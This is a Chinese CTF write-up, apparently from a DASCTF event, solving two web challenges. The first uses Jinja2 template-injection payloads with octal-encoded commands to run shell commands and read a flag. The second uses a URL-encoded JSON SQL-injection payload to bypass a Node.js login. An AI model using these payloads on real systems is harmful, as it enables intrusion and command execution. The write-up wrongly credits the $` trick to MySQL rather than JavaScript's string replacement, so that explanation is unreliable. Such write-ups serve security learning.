1、Rank-l
Ssti的报错查询
cycler没用被禁用,很常规的到达popen阶段
{{cycler.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
正常在浏览器中无法查看,使用python
import requests
with requests.Session() as session:
url_phone = 'http://139.155.126.78:25977/'
data_phone = {'phone_number':'123456789'}
response_phone = session.post(url_phone, data=data_phone)
if response_phone.status_code == 200:
print("First request succeeded.")
print("Response from first request:")
print(response_phone.text)
else:
print(f"First request failed with status code {response_phone.status_code}")
url_password = 'http://139.155.126.78:25977/cpass'
data_password = {'password': '123456'}
response_password = session.post(url_password, data=data_password)
if response_password.status_code == 200:
print("Second request succeeded.")
print("Response from second request:")
print(response_password.text)
else:
print(f"Second request failed with status code {response_password.status_code}")
随便填写password和number,在浏览器中输入后用py查询即可看到完整的弹窗内容
成功执行,但是访问根目录无法执行,可能存在字符限制,用八进制绕过
{{cycler.__init__.__globals__.__builtins__['__import__']('os').popen('$(printf "\154\163\40\57")').read()}}
Cat出不来,用rev f*成功得到
{{cycler.__init__.__globals__.__builtins__['__import__']('os').popen('$(printf "\162\145\166\40\57\146\52")').read()}}
2、sqli or not
查看源码:
var express = require('express');
var router = express.Router();
module.exports = router;
router.get('/',(req,res,next)=>{
if(req.query.info){
if(req.url.match(/\,/ig)){
res.end('hacker1!');
}
var info = JSON.parse(req.query.info);
if(info.username&&info.password){
var username = info.username;
var password = info.password;
if(info.username.match(/\'|\"|\\/) || info.password.match(/\'|\"|\\/)){
res.end('hacker2!');
}
var sql = "select * from userinfo where username = '{username}' and password = '{password}'";
sql = sql.replace("{username}",username);
sql = sql.replace("{password}",password);
connection.query(sql,function (err,rs) {
if (err) {
res.end('error1');
}
else {
if(rs.length>0){
res.sendFile('/flag');
}else {
res.end('username or password error');
}
}
})
}
else{
res.end("please input the data");
}
}
else{
res.end("please input the data");
}
})
很常见的sqli漏洞
重点在于两次过滤和单引号的闭合
第一次过滤可以用url编码绕过
第二次过滤限制了常见闭合单引号的手段,
这里可以利用mysql的特性
当SQL解析器遇到$和反引号时,它会将反引号内的内容视为一个整体,而不会将其作为字符串的一部分进行处理。
所以这里可以用{"username":"$`+or+1=1%23"%2C"password":"123"}
Url编码绕过第一个hacker
语句也成功避开了第二个hacker的内容
并且由于反引号没有闭合,会把后面的一大堆全部当做语句,这里的反引号内的内容是+or+1=1#"...., #后的内容就可以无视了
+or+1=1#"这部分内容中,1=1永远为真。#号可以忽略掉原本用于闭合username字段值的单引号。因此,最终SQL语句的执行效果相当于select * from userinfo where username = '$+or+1=1' and password = '123',其中$和反引号内的+or+1=1使得条件永远为真,从而绕过了对username和password的严格匹配验证。只要数据库中存在任何记录,rs.length就会大于0,从而触发res.sendFile('/flag'),导致服务器发送flag。
标签:username,web,DASCTF,--,res,phone,info,__,password From: https://www.cnblogs.com/Yakas-sorin/p/18679638